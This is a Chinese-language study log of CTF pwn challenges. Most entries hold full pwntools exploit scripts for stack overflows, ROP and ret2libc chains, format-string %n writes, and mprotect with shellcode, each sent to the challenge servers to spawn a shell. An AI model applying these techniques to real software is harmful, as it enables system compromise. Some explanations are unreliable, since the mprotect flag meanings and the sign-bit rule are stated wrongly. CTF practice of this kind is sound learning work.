pwn做题记录 随便做做看看pwn张什么样。随缘更新
解题套路:
检查保护情况
判断漏洞函数,如gets,scanf等
计算目标变量的在堆栈中距离ebp的偏移
分析是否已经载入了可以利用的函数,如system,execve等
分析是否有字符串/bin/sh
test_your_nc 直接nc连接,没什么好说的
rip 知识点
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
0x401186是fun函数里有system,s到返回地址有0xF+8=23,但不知道下面的为什么可以
from pwn import *p=remote('node4.buuoj.cn' ,29226 ) p1=b'a' *23 +p64(0x40118a ) p.sendline(p1) p.interactive() payload = b'a' * 23 + p64(0x401186 + 1 ) payload = b'a' * 23 + p64(0x401186 ) + p64(0x401185 ) payload = b'a' * 15 + p64(0x401186 )
warmup_csaw_2016 知识点
使用gdb插件gdb-peda计算偏移量
get栈溢出
gdb warmup_csaw_2016 gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r Starting program: /mnt/c/Users/11145/Desktop/warmup_csaw_2016 -Warm Up- WOW:0x40060d > AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7ffffffee650 RBX: 0x0 RCX: 0x7fffff78e980 --> 0xfbad2288 RDX: 0x0 RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") RDI: 0x7fffff791680 --> 0x0 RBP: 0x4141334141644141 ('AAdAA3AA')
得到RBP寄存器’AAdAA3AA’,输入命令pattern offset IAAeAA4AAJAAf,得到72,同时0x40+8=72
cat_flag.txt在system里地址为0x40060D
from pwn import *p = remote('node4.buuoj.cn' , 29533 ) payload = b'x' * 72 + p64(0x40060d ) p.sendline(payload) p.interactive()
ciscn_2019_n_1 知识点
v2 = 0.0 ; puts ("Let's guess the number." ); gets (v1); if ( v2 == 11.28125 ) result = system ("cat /flag" ); else result = puts ("Its value should be 11.28125" );
题目意思是输入v1覆盖v2的地址得到v2=11.28125
var_30 db 44 dup(?) -0000000000000004 var_4 dd ?+0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) v1-v2-rbp/rsp-ret
0x41348000就是16进制的11.28125
from pwn import *p=remote('node4.buuoj.cn' ,29191 ) payload="A" *44 +p64(0x41348000 ) p.sendline(payload) p.interactive()
补充
ucomiss S1,S2
比较单精度,ucomisd S1,S2
比较双精度
pwn1_sctf_2016 知识点
fgets函数栈溢出
pwntools中ELF函数
checksec查看,保护开了NX
虽然只能输入32个字符,64个字符才会溢出,但I会变成you,又找到后门函数0x8048F0D所以
from pwn import *p=remote("node4.buuoj.cn" ,25906 ) addr=0x08048f0d payload=20 *'I' +'A' *4 +p32(addr) p.sendline(payload) p.interactive()
from pwn import *p=remote("node4.buuoj.cn" ,25906 ) elf = ELF('./pwn1_sctf_2016' ) get_flag = elf.symbols['get_flag' ] payload = 'I' * 21 + 'A' + p32(get_flag) p.sendline(payload) p.interactive()
jarvisoj_level0 知识点
发现函数callsystem里有system函数地址为0x400596,read函数中的buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节 所以需要覆盖0x80+8=136。
from pwn import *p = remote('node4.buuoj.cn' , 29647 ) p1 = b'a' *136 + p64(0x400596 ) p.sendline(p1) p.interactive()
ciscn_2019_c_1 知识点
在encrypt中有get函数,参数到ret0x58。
后面异或操作,exp脚本
def dd (enc ): res = '' for i in range (len (enc)): if ord (enc[i]) <= 96 or ord (enc[i]) > 122 : if ord (enc[i]) <= 64 or ord (enc[i]) > 90 : if ord (enc[i]) > 47 or ord (enc[i]) <= 57 : res += chr (ord (enc[i]) ^ 0xf ) else : res += chr (ord (enc[i]) ^ 0xe ) else : res += chr (ord (enc[i]) ^ 0xd ) return res
[第五空间2019 决赛]PWN5 知识点
格式化字符串漏洞的产生根源主要源于对用户输入未进行过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vprintf。恶意用户 可以使用”%s”,”%x”来得到堆栈的数据,甚至可以通过”%n”来对任意地址进行读写,导致任意代码读写。
atoi函数:将字符串转化为int整数
反编译结果
v1 = time (0 ); srand (v1);fd = open ("/dev/urandom" , 0 ); read (fd, &dword_804C044, 4u );printf ("your name:" );read (0 , buf, 0x63 u);printf ("Hello," );printf (buf);printf ("your passwd:" );read (0 , nptr, 0xF u);if ( atoi (nptr) == dword_804C044 ){ puts ("ok!!" ); system ("/bin/sh" ); } else { puts ("fail" ); }
该题有两种解法
1、第一个read利用格式化字符串漏洞修改unk_804c044的值,第二个read输入我们修改的值去满足if判断执行system(‘/bin/sh’)
2、第一个read利用格式化字符串漏洞修改atoi_got为system_plt,第二次read输入”/bin/sh\x00”,执行system(‘/bin/sh’)
脚本
思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell。
思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。
思路3:bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值
exp1
from pwn import *p = process('./pwn5' ) addr = 0x0804C044 payload = p32(addr)+p32(addr+1 )+p32(addr+2 )+p32(addr+3 ) payload += "%10$hhn%11$hhn%12$hhn%13$hhn" p.sendline(payload) p.sendline(str (0x10101010 )) p.interactive()
exp3
from pwn import *p = remote('node4.buuoj.cn' ,28318 ) unk_804C044 = 0x0804C044 payload=fmtstr_payload(10 ,{unk_804C044:0x1111 }) p.sendlineafter("your name:" ,payload) p.sendlineafter("your passwd" ,str (0x1111 )) p.interactive()
from pwn import *sh = remote('node4.buuoj.cn' ,28318 ) target_addr = 0x0804c044 payload = p32(target_addr) + '%10$n' sh.recvuntil("your name:" ) sh.sendline(payload) sh.recvuntil("your passwd:" ) sh.sendline(str (0x00000004 )) sh.interactive() from pwn import *p = remote('node4.buuoj.cn' ,28318 ) elf = ELF('./pwn' ) atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) ''' fmtstr_payload()自动生成格式化字符串漏洞相应的payload 这里是将atoi_got_addr修改为system_plt_addr,从而执行system() ''' p.sendline(payload) p.sendline('/bin/sh\x00' ) p.interactive()
babyrop 只要控制a1的大小就可以任意控制读入buf的长度,而a1就是sub_804871F中的v5,所以可以构造合适的Payload来控制v5,再通过sub_80487D0中的read来泄露system与/bin/sh的地址
先使发送的Payload的首字符为\x00来绕过字符串长度比较,再构造合适的长度来改变v5的值
Payload = b'\x00' + b'a'*6 +'\xff'
v5的值尽可能的大,方便后面操作
num+函数plt+main+函数参数
from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,29889 ) elf=ELF('./pwn7' ) write_plt=elf.plt['write' ] read_got=elf.got['read' ] read_plt=elf.plt['read' ] main_addr=0x8048825 payload1='\x00' +'\xff' *0x7 r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 payload+=p32(write_plt)+p32(main_addr)+p32(1 )+p32(read_got)+p32(0x8 ) r.sendline(payload) read_addr=u32(r.recv(4 )) print ('[+]read_addr: ' ,hex (read_addr))libc=LibcSearcher('read' ,read_addr) libc_base=read_addr-libc.dump('read' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 payload+=p32(system_addr)*2 +p32(bin_sh_addr) r.sendline(payload) r.interactive()
ciscn_2019_n_8 只要var[13]=11即可,var类型是DWORD型,所以每个占四个字节。
from pwn import *p = remote("node4.buuoj.cn" ,28623 ) p1 = "a" *13 *4 + p64(0x11 ) p.sendline(p1) p.interactive()
jarvisoj_level2 直接有system函数,找到bin的地址加入即可
注意不能在vulnerable函数的返回地址后面直接跟参数,我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。写得脚本如下。
from pwn import *p = remote("node4.buuoj.cn" ,29667 ) e = ELF('./level2' ) sys_addr = e.symbols['system' ] sh_addr = e.search('/bin/sh' ).next () p1 = "a" *0x8C + p32(sys_addr)+'1234' +p32(sh_addr) p.sendline(p1) p.interactive()
get_started_3dsctf_2016 get_flag函数,结果不能正确得到结果。原因是必须维护好栈,所以找一个函数来退出。于是利用了exit函数
from pwn import *p = remote("node4.buuoj.cn" ,25371 ) get_flag = 0x080489A0 a1 = 0x308cd64f a2 = 0x195719d1 exit_addr = 0x0804E6A0 p1 = "a" *0x38 + p32(get_flag)+p32(exit_addr)+p32(a1)+p32(a2) p.sendline(p1) p.interactive()
可以利用mprotect函数修改内存为可写可读可执行,然后写入shellcode,直接执行,但是mprotect需要三个寄存器
int mprotect(void *addr, size_t len, int prot); addr 内存启始地址 len 修改内存的长度 prot 内存的权限 要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或 $ ./ get_started_3dsctf_2016 & $ cat /proc/[you_pid]/maps 查看内存区域 可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限
from pwn import *pop_ret = 0x0804f460 bss=0x080eb000 r = remote('node3.buuoj.cn' ,29416 ) elf = ELF('./get_started_3dsctf_2016' ) payload = 'a' *0x38 +p32(elf.sym['mprotect' ])+p32(pop_ret)+p32(bss)+p32(0x30 )+p32(7 )+p32(elf.sym['read' ])+p32(bss)+p32(0 )+p32(bss)+p32(0x30 ) r.sendline(payload) payload = asm(shellcraft.sh()) r.sendline(payload) r.interactive()
bjdctf_2020_babystack read(0 , buf, (unsigned int )nbytes); -0000000000000010 buf db 12 dup(?)-0000000000000004 nbytes dq ?+0000000000000004 db ? ; undefined +0000000000000005 db ? ; undefined +0000000000000006 db ? ; undefined +0000000000000007 db ? ; undefined +0000000000000008 r db 8 dup(?)
from pwn import *r=remote('node3.buuoj.cn' ,28532 ) shell_addr=0x4006e6 r.sendline('100' ) payload='a' *(0x10 +8 )+p64(shell_addr) r.sendline(payload) r.interactive()
ciscn_2019_en_2 和ciscn_2019_c_1题一样
JarvisOJ_Level2_x64 32位的函数在调用栈的时候是:
调用函数地址->函数的返回地址->参数n->参数n-1....->参数1
64位的函数在调用栈的时候是:
前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。
参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址
地址会继续往下走,那么在pop掉前面的‘a’之后便是pop下一个ropgadget出来的地址,然后就是栈顶的/bin/sh的地址被pop掉并放在rdi中。
from pwn import *p = remote('node4.buuoj.cn' ,29134 ) e = ELF('./level2_x64' ) sys_addr = e.symbols['system' ] sh_addr = e.search('/bin/sh' ).next () pop_rdi = 0x4006b3 p1 = 'a' *(0x88 )+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr) p.sendline(p1) p.interactive()
未解决:not_the_same_3dsctf_2016 from pwn import *p = remote('node4.buuoj.cn' ,28326 ) e = ELF('./not' ) get_secret = 0x80489A0 flag_addr = 0x80eca2d p1 = 'a' *45 + p32(get_secret)+p32(e.symbols['write' ])+p32(flag_addr)+p32(1 )+p32(flag_addr)+p32(42 ) p.sendline(p1) p.interactive()
第二种相对难一点,在此之前呢我们先了解一个函数
mprotect()这个函数:int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。 下面是exp
from pwn import *elf = ELF('./not' ) sh=remote('node4.buuoj.cn' ,28326 ) pop3_ret = 0x0804f420 mem_addr = 0x80eb000 mem_size = 0x1000 mem_proc = 0x7 mprotect_addr = elf.symbols['mprotect' ] read_addr = elf.symbols['read' ] ''' 为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值. ''' payload = 'A' * 45 payload += p32(mprotect_addr) payload += p32(pop3_ret) payload += p32(mem_addr) payload += p32(mem_size) payload += p32(mem_proc) payload += p32(read_addr) payload += p32(pop3_ret) payload += p32(0 ) payload += p32(mem_addr) payload += p32(0x100 ) payload += p32(mem_addr) sh.sendline(payload) payload_shellcode = asm(shellcraft.sh(),arch = 'i386' , os = 'linux' ) sh.sendline(payload_shellcode) sh.interactive()
[HarekazeCTF2019]baby_rop pop rdi ret传入字符串并调用system
from pwn import *p = remote('node5.buuoj.cn' ,25591 ) e = ELF('./babyrop' ) sys_addr = e.symbols['system' ] sh_addr = e.search('/bin/sh' ).next () pop_rdi = 0x400683 p1 = 'a' *(0x18 )+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr) p.recvuntil('? ' ) p.sendline(p1) p.interactive()
可以通过 find -name flag 查找flag的位置
[HarekazeCTF2019]baby_rop2 通过printf泄露read的函数地址计算libc的基址,ROP链构造system(‘/bin/sh’)
int __cdecl main (int argc, const char **argv, const char **envp) { char buf[28 ]; int v5; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); printf ("What's your name? " ); v5 = read(0 , buf, 0x100 uLL); buf[v5 - 1 ] = 0 ; printf ("Welcome to the Pwn World again, %s!\n" , buf); return 0 ; }
from pwn import *r=remote('node3.buuoj.cn' ,26686 ) elf=ELF('./babyrop2' ) libc=ELF('./libc.so.6' ) rdi_ret=0x400733 rsi_r15_ret=0x400731 format_str=0x400770 read_got=elf.got['read' ] printf_plt=elf.plt['printf' ] main_addr=0x400636 payload='a' *0x20 +'b' *0x8 payload+=p64(rdi_ret)+p64(format_str) payload+=p64(rsi_r15_ret)+p64(read_got)+p64(0x0 ) payload+=p64(printf_plt)+p64(main_addr) r.recvuntil("What's your name?" ) r.sendline(payload) read_addr=u64(r.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base=read_addr-libc.symbols['read' ] system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+libc.search('/bin/sh' ).next () payload2='a' *0x20 +'b' *0x8 +p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr) r.recvuntil("What's your name?" ) r.sendline(payload2) r.interactive()
番外:攻防世界 int_overflow 知识点
看字符串,发现system和cat flag,存在高危函数strcpy和read
可以直接覆盖一个返回地址,覆盖成system函数的地址
看到check passwd函数,规定密码长度为3到8,s是密码的字符串,dest长度是0x14,s长度远大于dest,这就会导致栈溢出。
v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Invalid Password" ); result = (char *)fflush (stdout); } else { puts ("Success" ); fflush (stdout); result = strcpy (dest, s); } return result;
在覆盖到返回地址的途中,有一次leave操作,在32位汇编中,leave等价于mov esp,ebp并pop ebp的操作,也就是说,在覆盖到返回地址之前,还有一次出栈,所以需要多覆盖一个ebp的长度,由于是32位,所以是4字节,所以覆盖ebp0x4,十进制是4 总和就是’a’*24
p32(sys_addr):覆盖返回地址为what_is_this函数的地址,即check_passwd之后直接返回what_is_this函数。
payload.ljust(260,’a’):由于程序执行到what_is_this函数后我们可以直接得到flag,所以之后怎么运行就不用管了,直接填充一堆’a’来让payload的长度能通过密码长度检测即可。但是显然payload前两部分的长度就超过了密码检测的最大长度8,这个时候就用到了整数溢出
v3即为密码的长度,可以看到它是一个长8位的只有正数的整数即00000000~11111111,就是0到255,当给v8赋值超过255时,比如256,即1 0000 0000,由于v8本身只有8位,所以超过8位的,就会发生高位截断,只会保留低位,所以这个1会被舍弃,v8的值就是0000 0000,而给v8赋值257,它的值就是1,赋值258,它的值就是2。所以只要让payload的长度在(259,264]内,就能让v8的值在(3,8]内,才能通过密码长度检测。
from pwn import *elf=ELF('./intoverflow' ) sys_addr = elf.symbols['what_is_this' ] payload = 'a' *24 + p32(sys_addr) payload = payload.ljust(260 ,'a' ) p = remote('111.198.29.45' ,37911 ) p.sendlineafter('Your choice:' ,'1' ) p.sendlineafter('your username:' ,'aaa' ) p.sendlineafter('your passwd:' ,payload) p.interactive() from pwn import * sh=remote('111.198.29.45' ,44241 ) sh.sendlineafter("choice:" ,"1" ) sh.sendlineafter("username:\n" ,"xctf" ) cat_flag_addr = 0x08048694 payload = "A" * 0x18 + p32(cat_flag_addr) + "A" * 234 sh.sendlineafter("passwd:\n" ,payload) print sh.recvall()
关于整数溢出 整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数 最高位为1,负数为0,无符号数取值范围为非负数
也就是说,对于一个2字节的unsigned short int 型变量,它的有效数据长度为2个字节,当它的数据长度超过2个字节时,就发生溢出,溢出的部分则直接忽略。使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况
cgpwn2 from pwn import *elf=ELF('./cgpwn' ) sys_addr = elf.symbols['system' ] binsh_addr = 0x0804A080 p1 = 'a' *42 + p32(sys_addr) + p32(0xaaaa ) +p32(binsh_addr) p = remote('111.200.241.244' ,49922 ) p.sendlineafter('name' ,'/bin/sh' ) p.sendlineafter('here' ,p1) p.interactive()
‘a’*42:看栈可知s距离ebp有0x26,十进制即为38,再加上需要覆盖的ebp长度,由于是32位程序,所以ebp长度0x4,所以总共需要填充’a’*(38+4)
p32(sys_addr):system函数的地址
p32(0xaaaa):用于填充system函数的返回地址,由于system(“/bin/sh”)后直接拿到shell,所以随便填个返回地址就行
p32(binsh_addr):name的地址,因为name的值就是’/bin/sh’,所以用它作为system的参数
level3 知识点
开了NX不可执行,无system,无binsh,明显为ret2libc
ret2lib是一种利用缓存区溢出的代码复用漏洞,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数。
lib内的地址是随机的,但是函数的相对地址是不变的,我们可以通过获取lib中和程序中的write函数地址来得知函数地址的偏移量,并利用lib中的system和binsh和偏移量求出真实的system和binsh函数地址,进而完成system(/bin/sh) 具体步骤: (1)利用function()函数中的read函数构造溢出,复写返回地址为plt中的write函数地址 (2)通过write函数泄露函数read在内存中的绝对地址,并且接着调用function()函数 (3)计算system和binsh的绝对地址,构造system(“/bin/sh”)
from pwn import *p=remote('111.198.29.45' ,41496 ) elf=ELF('./level3/level3' ) libc = ELF('./level3/libc_32.so.6' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=elf.sym['main' ] p.recvuntil(":\n" ) payload=0x88 *'a' +p32(0xdeadbeef )+p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write_got_addr=u32(p.recv()) print hex (write_got_addr)libc_base=write_got_addr-libc.sym['write' ] print hex (libc_base)system_addr = libc_base+libc.sym['system' ] print hex (system_addr)bin_sh_addr = libc_base + 0x15902b print hex (bin_sh_addr)payload2=0x88 *'a' +p32(0xdeadbeef )+p32(system_addr)+p32(0x11111111 )+p32(bin_sh_addr) p.recvuntil(":\n" ) p.sendline(payload2) p.interactive()
from pwn import *elf=ELF('./level3' ) lib = ELF('./libc_32.so.6' ) p=remote('111.200.241.244' ,52400 ) payload = (0x88 +4 )*'a' +p32(elf.plt['write' ])+p32(elf.symbols['main' ])+p32(1 )+p32(elf.got['read' ])+p32(8 ) p.recvuntil('Input:\n' ) p.sendline(payload) read_addr = u32(p.recv()[:4 ]) bin_cha = int (0x0015902b -lib.symbols['read' ]) bin_addr = read_addr + bin_cha sys_cha = int (lib.symbols['system' ]-lib.symbols['read' ]) sys_addr = read_addr + sys_cha p.recvuntil('Input:\n' ) payload1 = (0x88 +4 )*'a' +p32(sys_addr)+p32(1 )+p32(bin_addr) p.sendline(payload1) p.interactive()
CGfsb 知识点
开了canary和nx,即没法直接覆盖返回地址和使用shellcode
如果写成printf(a),就会出现格式化字符串漏洞,如果a是”%x”,那么printf就会输出它后面内存中的数据。
61即 ‘a’ 的ASCII码,61616161即为 ‘aaaa’,可以看到输入的 ‘aaaa’偏移了10位,如果你不确定自己数的对不对,可以验证一下,用 ‘%10$x’,这个可以直接查看第十位的数据
这里说下可以直接读取第七个参数的方法。(在linux下有用,win下没用) %< number>$x 是直接读取第number个位置的参数,同样可以用在%n,%d等等。 但是需要注意64位程序,前6个参数是存在寄存器中的,从第7个参数开始才会出现在栈中,所以栈中从格式化串开始的第一个,应该是%7 $n.
格式化字符串中,有一个%n比较特殊,**%n可以将它前面已打印的字符个数赋值给后面它对应的参数**,例子
来自于stack overflow #include <stdio.h> int main(){ int val; printf(“blah %n blah\n”, &val); printf(“val = %d\n”, val); return 0; } output: blah blah val = 5
%n前的字符个数为5,所以将5赋值给了val。但是好像Windows上不让用%n赋值….所以别再Windows下试了
思路:
第一次运行程序,name随便输,在输入message时利用%x计算输入位置偏移
第二次运行程序,name随便输,在输入message时,先输入pwnme的地址
利用 %偏移$n 改变pwnme的值为8
拿到flag
from pwn import *payload = p32(0x0804A068 ) + 'aaaa%10$n' p = remote('111.198.29.45' ,56666 ) p.sendlineafter('tell me your name:' ,'abcd' ) p.sendlineafter('your message please:' ,payload) p.interactive()
payload解释:
p32(0x0804A068):pwnme的地址,双击pwnme即可查看
‘aaaa%10$n’:p32打包后的数据是4位的,但是要赋值8给pwnme,所以再填充4个a,然后把8赋值给第十个参数,即pwnme的地址对应的值
做题技巧? x64
main_addr = 0x400B28 pop_rdi = 0x400C83 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] '1' *0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)puts_addr = u64(c.recvuntil('\n' , drop=True ).ljust(8 ,'\x00' )) libc = LibcSearcher('puts' ,puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys_addr = libcbase + libc.dump('system' ) bin_sh = libcbase + libc.dump('str_bin_sh' ) '1' *0x58 +p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
x86
puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.symbols['main' ] payload = flat(['A' * 112 , puts_plt, main, libc_start_main_got]) libc_start_main_addr = u32(sh.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) payload = flat(['A' * 104 , system_addr, 0xdeadbeef , binsh_addr])
payload = 'a' *22 +p32(write_plt) + main + 1 + read_got + 4 read_addr = u32(p.recv(4 )) payload2 = 'a' *22 +p32(system) + p32(main) + binsh_addr
x64ROP from pwn import *p = remote('node5.buuoj.cn' ,25591 ) e = ELF('./babyrop' ) sys_addr = e.symbols['system' ] sh_addr = e.search('/bin/sh' ).next () pop_rdi = 0x400683 p1 = 'a' *(0x18 )+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr) p.sendline(p1) p.interactive()
get一个函数用来获取真实地址
bjdctf_2020_babyrop
int __cdecl main (int argc, const char **argv, const char **envp) { init (argc, argv, envp); vuln (); return 0 ; } ssize_t vuln () { char buf[32 ]; puts ("Pull up your sword and tell me u story!" ); return read (0 , buf, 0x64 uLL); }
from pwn import *from LibcSearcher import *context.log_level='debug' r=remote('node3.buuoj.cn' ,28426 ) elf=ELF('./bjdctf_2020_babyrop' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] main_addr=elf.symbols['main' ] pop_rdi=0x400733 payload='a' *0x20 +'b' *0x8 payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) r.recvuntil('Pull up your sword and tell me u story!' ) r.sendline(payload) r.recv() puts_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) system_addr=libc_base+libc.dump('system' ) bin_addr=libc_base+libc.dump('str_bin_sh' ) payload='a' *0x20 +'b' *0x8 payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr) r.recvuntil('Pull up your sword and tell me u story!' ) r.sendline(payload) r.interactive()
x86 ROP babyrop 9
from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,29889 ) elf=ELF('./pwn7' ) write_plt=elf.plt['write' ] read_got=elf.got['read' ] read_plt=elf.plt['read' ] main_addr=0x8048825 payload1='\x00' +'\xff' *0x7 r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 payload+=p32(write_plt)+p32(main_addr)+p32(1 )+p32(read_got)+p32(0x8 ) r.sendline(payload) read_addr=u32(r.recv(4 )) print ('[+]read_addr: ' ,hex (read_addr))libc=LibcSearcher('read' ,read_addr) libc_base=read_addr-libc.dump('read' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 payload+=p32(system_addr)*2 +p32(bin_sh_addr) r.sendline(payload) r.interactive()